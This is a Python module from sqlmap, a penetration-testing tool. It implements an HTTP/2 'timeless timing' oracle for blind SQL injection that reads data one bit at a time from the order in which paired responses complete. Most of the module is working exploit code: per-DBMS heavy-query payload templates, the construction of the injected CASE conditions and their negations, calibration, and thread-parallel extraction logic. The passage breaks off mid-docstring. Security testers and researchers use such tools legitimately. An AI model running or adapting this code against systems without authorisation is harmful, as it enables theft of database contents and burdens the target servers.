#!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ # HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native # client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single # TCP write and multiplexed on one connection; because they share the packet and the path, network # jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects # only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be # read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the # NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines. # # The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing # front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable # delta) so the caller never applies the oracle blind - it falls back to classic time-based instead. import threading from lib.core.enums import DBMS from lib.request.http2 import _H2Connection # Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage. _engageLock = threading.Lock() def buildConditionPair(condition, heavy, cheap="0"): """Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g. 'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid booleans (>=0 always holds) so they never change the page, keeping the channel blind. `heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function); `cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying on optimiser short-circuit. >>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t") >>> c '(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0' >>> n '(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0' """ condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap) negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy) return condExpr, negExpr def _pairOrder(conn, reqA, reqB, timeout): """Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two stream ids in send order (reqA got the lower id).""" order, _results = conn.exchange_pair([reqA, reqB], timeout) loSid = conn.next_sid - 4 hiSid = conn.next_sid - 2 return order[0], loSid, hiSid def readBit(conn, reqCond, reqNeg, votes=5, timeout=30): """Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is ambiguous (load-degraded). reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias) and counts how often reqCond finished last: - real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0 - real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0 - END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past the end - CockroachDB - both requests error and it is a ~0.5 coin flip). Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g. --threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded.""" condLast, i = 0, 0 cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits while True: if i % 2 == 0: first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout) condSid = loSid else: first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout) condSid = hiSid if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE condLast += 1 i += 1 if i < votes: # gather a minimum sample before deciding continue fraction = condLast / float(i) if fraction >= 0.8: return True if fraction <= 0.5: return False if i >= cap: # still ambiguous after escalating -> decide by the same threshold return fraction >= 0.8 def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None): """Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair (reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent backend the slow request finishes last regardless of its id. Returns (usable, confidence) where confidence is the fraction of trials in which the slow request finished last. Below `threshold` the backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if given, is called once per trial so the caller can stream a progress indicator.""" slowLast = 0 for i in range(trials): if i % 2 == 0: first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout) slowSid = loSid else: first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout) slowSid = hiSid if first != slowSid: slowLast += 1 if progress is not None: progress() confidence = slowLast / float(trials) if trials else 0.0 return (confidence >= threshold), confidence def connect(host, port=443, proxy=None, timeout=30): """Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so its multiplexed pairs never interleave with ordinary single-stream traffic).""" return _H2Connection(host, port, proxy, timeout) class TimelessOracle(object): """The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy reference and reads the bit from response order. This reuses the entire bisection/inference/threading stack unchanged - bisection just calls queryPage and gets a bool. Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py and the http2 pool - streams from different threads never interleave on one socket, so parallel per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an immutable spec-derived dict, so it is shared read-only across threads.""" def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30): self.host, self.port, self.proxy = host, port, proxy self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak) self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit); # enough votes that TRUE ~100% and end-of-string ~50% separate cleanly self.timeout = timeout self._local = threading.local() self._conns = [] # every opened connection, for clean teardown self._lock = threading.Lock() self.savedTechnique = None # active technique whose vector we swapped (restored on disengage) self.savedVector = None def _conn(self): conn = getattr(self._local, "conn", None) if conn is None or not conn.usable: conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout) with self._lock: self._conns.append(conn) return conn def readBitFromSpecs(self, condSpec, negSpec=None): """Read the bit from the assembled condition request and, when available, its negation. With a negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the (url, method, headers, post) tuples from getPage(buildOnly=True).""" reqCond = _specToReq(condSpec, self.host) if negSpec is not None: return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout) return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout) def close(self): with self._lock: for conn in self._conns: try: conn.close() except Exception: pass self._conns = [] def engage(host, port, vector, proxy=None, timeout=30): """Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy). The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise).""" from lib.core.data import kb refReq = _forgeRequest("1=1", host, vector) kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout) return kb.timeless def disengage(): """Tear down the timeless oracle and close all per-thread connections.""" from lib.core.data import kb oracle = kb.get("timeless") if oracle is not None: if oracle.savedTechnique is not None: try: from lib.core.common import getTechniqueData getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector except Exception: pass oracle.close() kb.timeless = None def hintTimeless(): """Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once. Only fires when time-based is the channel that will actually be used (no faster in-band option) so the hint is never noise. Purely advisory, never raises, at most one message per run.""" from lib.core.data import conf, kb from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage from lib.core.enums import PAYLOAD try: if conf.get("timeless") or kb.get("timelessHinted"): return kb.timelessHinted = True # only relevant when time-based is the chosen channel (a faster in-band one would be used instead) if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): return if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)): return try: from urllib.parse import urlsplit except ImportError: from urlparse import urlsplit parts = urlsplit(conf.url or "") if parts.scheme != "https": return # cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2' conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30) conn.close() singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection " "by relative response order (no delay), typically far faster. Consider re-running with '--timeless'") except Exception: pass def autoEngage(): """Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built). Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable (the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises.""" from lib.core.data import conf, kb, logger from lib.core.common import Backend with _engageLock: if kb.get("timeless") is not None: return True return _doAutoEngage(conf, kb, logger, Backend) def _doAutoEngage(conf, kb, logger, Backend): try: if not conf.get("timeless"): return False # Never during detection - that phase confirms the vuln (and runs the false-positive check) by # measuring REAL induced delays, which response-order would break. kb.testMode is True throughout # detection and False once extraction begins. if kb.get("testMode"): return False # Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose # data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one. from lib.core.enums import PAYLOAD from lib.core.settings import INFERENCE_MARKER timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None if not timeData or INFERENCE_MARKER not in (timeData.vector or ""): return False try: from urllib.parse import urlsplit except ImportError: from urlparse import urlsplit parts = urlsplit(conf.url or "") if parts.scheme != "https": logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based") return False host, port = parts.hostname, parts.port or 443 dbms = Backend.getIdentifiedDbms() if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None: logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms) return False # Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order # reliability and tune the work size - that is the pause the user sees before engagement. Announce # it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait". import time as _time from lib.core.common import dataToStdout dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms)) probe = connect(host, port, None, conf.timeout or 30) # value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand # that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy). loadFactor = max(1, conf.threads or 1) try: vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor) finally: probe.close() dataToStdout(" (done)\n") if not vector: logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence) return False oracle = engage(host, port, vector, timeout=conf.timeout or 30) # Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold # and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target # needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.) oracle.votes = 5 if confidence >= 1.0 else 9 # bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned # heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request # gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on # disengage(). oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME oracle.savedVector = timeData.vector timeData.vector = vector logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence)) return True except Exception as ex: from lib.core.common import getSafeExString logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex)) return False # Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same # set for single requests); ':authority' replaces Host, and content-length/framing are h2's job. _FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection", "transfer-encoding", "upgrade", "content-length")) def _specToReq(spec, fallbackAuthority): """Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into the request dict exchange_pair expects.""" try: from urllib.parse import urlsplit except ImportError: from urlparse import urlsplit url, method, headers, post = spec parts = urlsplit(url) path = parts.path or "/" if parts.query: path += "?" + parts.query reqHeaders = {} for key in (headers or {}): name = key.decode("latin-1") if isinstance(key, bytes) else key if name.lower() not in _FORBIDDEN_HEADERS: reqHeaders[key] = headers[key] return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority), "headers": reqHeaders, "body": post} def getHeavyVector(dbms=None): """Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end), reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN ELSE ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded.""" from lib.core.data import conf from lib.core.common import Backend dbms = dbms or Backend.getIdentifiedDbms() if not dbms: return None andVector = orVector = None for test in (conf.tests or []): title = (test.get("title") or "") if "heavy query" not in title.lower(): continue testDbms = ((test.get("details") or {}).get("dbms")) or "" testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms) # tolerate combined labels like "Microsoft SQL Server/Sybase" if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))): continue vector = (test.get("vector") or "").strip() # Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms. if vector.upper().startswith("AND "): andVector = andVector or vector elif vector.upper().startswith("OR "): orVector = orVector or vector return andVector or orVector # Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for # absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request - # which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's # scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a # [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That # self-tunes to the lightest payload that works - fast, and never allocates a huge blob. # [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of # bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork # (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift. # A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan # falls back to classic time-based - the light-heavy is always safety-gated, never applied blind. # # SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS # that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB), # Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB. # Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never # detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed. # # GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so # response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN # () ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal. # Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on # TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when # both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung # and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only # ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of # real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic. # So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a # sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS # (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL). _LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback) _LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap) LIGHT_HEAVY = { DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series DBMS.MYSQL: _LH_MYSQL, DBMS.MSSQL: _LH_MSSQL, DBMS.SYBASE: _LH_MSSQL, DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])", # recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded) DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))", # ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')", # Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)", # NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here -> # no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction. } # Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations / # string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time # margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same # [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the # ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the # margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so # string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS # reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means # re-extract. LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000) MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter # The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute # floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under # load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy. MIN_SEPARATION_FRAC = 0.5 # DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit # gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is # what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a # CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable # condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the # response order was a coin flip -> corruption). With the count itself computed from the bit # (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine # must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the # work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated # end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged). _GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE)) # Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the # oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single # regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads # the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser. INFERENCE_BEGIN = "/*tlb*/" INFERENCE_END = "/*tle*/" def lightHeavyVector(dbms, cost): """Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy). Two gating shapes, both flowing through the exact same payload machinery: - GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit. - Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN ELSE [RANDNUM])' branch, used where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird); these engines were validated not to hoist. Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still manages an unreadable delta simply fails calibration and falls back to classic - never corrupts.""" primitive = LIGHT_HEAVY.get(dbms) if not primitive: return None if dbms in _GATED_COST: gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost)) heavy = primitive.replace("[COST]", gate) return "AND [RANDNUM]<%s" % heavy heavy = primitive.replace("[COST]", str(int(cost))) return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy) def negatePayload(value): """Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated request (the request whose heavy branch must run iff the condition does NOT hold). The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL - NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison (ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor its negation forces the heavy branch - both requests stay cheap and the response order is left to secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable across every DBMS (unlike `IS NOT TRUE`).""" import re pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END))) if not pattern.search(value or ""): return None return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value) def _pairMs(conn, reqA, reqB, samples=5, timeout=30): """Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that decides which cost to engage at (see tuneHeavy).""" import time as _t ts = [] for _ in range(samples): s = _t.time() _pairOrder(conn, reqA, reqB, timeout) ts.append((_t.time() - s) * 1000.0) return sorted(ts)[samples // 2] def _calibrationConditions(dbms): """Return (trueCond, falseCond): a KNOWN-true and KNOWN-false boolean of the SAME shape real extraction injects - the per-DBMS inference comparison applied to the version banner, i.e. an UNCORRELATED, non-constant-foldable predicate (e.g. ASCII(SUBSTRING((VERSION())::text FROM 1 FOR 1))>1 for true, >255 for false). This matters because some optimisers (CockroachDB, TiDB, ...) HOIST the uncorrelated heavy subquery out of the CASE and run it in BOTH branches for such a predicate, while a CONSTANT-foldable probe like '1=1'/'1=0' lets them prune the dead branch at plan time - so calibrating with the constant sees a clean heavy delta the REAL extraction never has and engages straight into corruption (bits become a coin flip). Calibrating with the faithful predicate makes a hoisting target measure ~0 server-side delta on every rung, so tuneHeavy's MIN_HEAVY_MS gate rejects it and the scan safely falls back to classic time-based. Falls back to the constant probes when the DBMS ships no inference/banner template (calibration still gates, just without the hoist check).""" from lib.core.data import queries try: entry = queries[dbms] template = entry.inference.query # e.g. 'ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d' banner = entry.banner.query # e.g. 'VERSION()' / 'SELECT @@VERSION' # int value works for both '>%d' and quoted-char '>%c' templates (chr(1)/chr(255) stay in-range) return (template % (banner, 1, 1), template % (banner, 1, 255)) except Exception: return ("1=1", "1=0") def tuneHeavy(conn, dbms=None, trials=50, threshold=0.97, timeout=30, progress=None, loadFactor=1): """Walk the cost ladder and return (vector, cost, confidence) for the LIGHTEST rung-2 heavy that is BOTH (a) big enough in absolute server-side time (>= MIN_HEAVY_MS) to survive extraction load, and (b) whose response-order signal calibrates as reliable. Returns (None, None, best_confidence) if none qualifies. Requirement (a) is the fix for the fixed-[COST]-means-different-time trap: PostgreSQL generate_series(N) and MySQL SHA2(REPEAT('a',N)) at the SAME N differ ~10x in wall time, so a fixed floor that is fine for a generator is a ~1-2 ms nothing for a hash - which calibrates fine IDLE (order reliable) then flips bits under load. Measuring the real delta and requiring a margin makes the tuning primitive-agnostic and load-robust; on a fast single-hop backend the smallest qualifying cost is still tiny.""" from lib.core.common import Backend dbms = dbms or Backend.getIdentifiedDbms() # Probe with the faithful (uncorrelated, non-foldable) extraction predicate, NOT constant 1=1/1=0, so a # target that hoists the heavy subquery out of the CASE (running it in both branches) is measured with # ~0 delta and rejected here instead of engaging into corruption. See _calibrationConditions(). trueCond, falseCond = _calibrationConditions(dbms) best = 0.0 for cost in LIGHT_HEAVY_COSTS: vector = lightHeavyVector(dbms, cost) if not vector: return (None, None, 0.0) reqSlow = _forgeRequest(trueCond, conn.host, vector) reqFast = _forgeRequest(falseCond, conn.host, vector) # Measure the coalesced-PAIR times: a one-heavy pair (reqSlow vs reqFast) and a no-heavy pair # (reqFast vs reqFast). Their separation decides whether a real bit's response ORDER is readable # (the reliability gate that picks which cost to engage at). try: heavyPair = _pairMs(conn, reqSlow, reqFast, timeout=timeout) cheapPair = _pairMs(conn, reqFast, reqFast, timeout=timeout) except Exception: heavyPair = cheapPair = 0.0 separation = heavyPair - cheapPair # Reliability gate: the separation must clear an ABSOLUTE floor AND a FRACTION of the base (cheap) # pair time. An absolute-only floor is enough on a fast single-hop path (cockroach base ~8 ms, a # 16 ms separation is 2x the base) but marginal on a slow multi-hop one: on Oracle the base pair is # ~50 ms, so a 15 ms separation is swamped by round-trip jitter under extraction load and ~10% of # TRUE bits flip - even though it calibrates clean IDLE. Requiring separation >= a fraction of the # base forces such a target to climb to a cost whose margin survives load (Oracle 60k sep 15 ms -> # reject -> 200k sep 61 ms -> 0 flips). A fast path is unaffected (its base is tiny). # `loadFactor` (= worker thread count) scales the required margin: N value-parallel workers each # fire a heavy query, so the server sees ~Nx load during extraction that single-threaded calibration # does not, dragging a marginal bit's cond-last fraction into the ambiguous band. Demanding N x the # separation here climbs to a cost whose bigger delta keeps the fraction ~1.0 even under that load. if separation < MIN_HEAVY_MS * loadFactor or separation < cheapPair * MIN_SEPARATION_FRAC * loadFactor: if progress is not None: progress() continue # margin too thin to survive load -> escalate cost usable, confidence = calibrate(conn, reqSlow, reqFast, trials=trials, threshold=threshold, timeout=timeout, progress=progress) best = max(best, confidence) if usable: return (vector, cost, confidence) return (None, None, best) def _forgeRequest(inferenceExpr, authority, vector=None): """Forge the full HTTP request sqlmap would send for a payload carrying `inferenceExpr` at the INFERENCE_MARKER slot of `vector` (default: the current technique's vector), but capture it (buildOnly) instead of sending - ready to coalesce. Late placeholders ([RANDNUM]/[SLEEPTIME]/...) are filled by agent.payload just like a normal request.""" from lib.core.agent import agent from lib.core.common import getTechniqueData from lib.core.settings import INFERENCE_MARKER from lib.request.connect import Connect vector = vector if vector is not None else getTechniqueData().vector forged = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, inferenceExpr))) spec = Connect.queryPage(agent.payload(newValue=forged), buildOnly=True) return _specToReq(spec, authority) def readBitLive(conn, condition, vector=None, votes=1, timeout=30): """Read one boolean from the LIVE injection point by timeless timing. `condition` is the comparison bisection injects (e.g. 'ORD(...)>64'). The condition request carries it at INFERENCE_MARKER, the negation request carries NOT(condition); with a heavy-query `vector` exactly one runs the heavy work, so response order names the bit - no SLEEP. `vector` defaults to the current technique's vector (rung 1, bare boolean natural delta); pass getHeavyVector() for rung 2. Returns True iff condition holds.""" reqCond = _forgeRequest(condition, conn.host, vector) reqNeg = _forgeRequest("NOT(%s)" % condition, conn.host, vector) return readBit(conn, reqCond, reqNeg, votes=votes, timeout=timeout) def readBitAsymmetric(conn, reqCond, reqRef, votes=12, timeout=30): """Read one boolean WITHOUT the negated comparison - only the condition request and a FIXED always-heavy reference. When the condition is TRUE, 